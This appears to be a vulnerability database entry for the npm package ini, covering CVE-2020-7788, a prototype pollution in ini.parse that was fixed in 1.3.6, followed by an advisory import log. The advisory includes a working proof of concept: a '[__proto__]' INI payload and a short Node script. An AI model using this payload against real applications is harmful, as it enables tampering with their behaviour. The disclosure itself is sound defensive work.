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Package details: pkg:npm/ini@1.3.6
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VCID-7tyw-ppyt-zqgr ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse ### Overview The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability. If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context. ### Patches This has been patched in 1.3.6. ### Steps to reproduce payload.ini ``` [__proto__] polluted = "polluted" ``` poc.js: ``` var fs = require('fs') var ini = require('ini') var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8')) console.log(parsed) console.log(parsed.__proto__) console.log(polluted) ``` ``` > node poc.js {} { polluted: 'polluted' } { polluted: 'polluted' } polluted ``` CVE-2020-7788
GHSA-qqgx-2p2h-9c37

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-16T21:15:03.652173+00:00 GitLab Importer Fixing VCID-7tyw-ppyt-zqgr https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/ini/CVE-2020-7788.yml 38.4.0
2026-04-11T22:27:11.749384+00:00 GitLab Importer Fixing VCID-7tyw-ppyt-zqgr https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/ini/CVE-2020-7788.yml 38.3.0
2026-04-02T22:38:53.521793+00:00 GitLab Importer Fixing VCID-7tyw-ppyt-zqgr https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/ini/CVE-2020-7788.yml 38.1.0
2026-04-02T16:56:03.699048+00:00 GHSA Importer Fixing VCID-7tyw-ppyt-zqgr https://github.com/advisories/GHSA-qqgx-2p2h-9c37 38.1.0
2026-04-01T16:56:17.977746+00:00 GitLab Importer Fixing VCID-7tyw-ppyt-zqgr https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/ini/CVE-2020-7788.yml 38.0.0
2026-04-01T13:00:02.220254+00:00 GithubOSV Importer Fixing VCID-7tyw-ppyt-zqgr https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-qqgx-2p2h-9c37/GHSA-qqgx-2p2h-9c37.json 38.0.0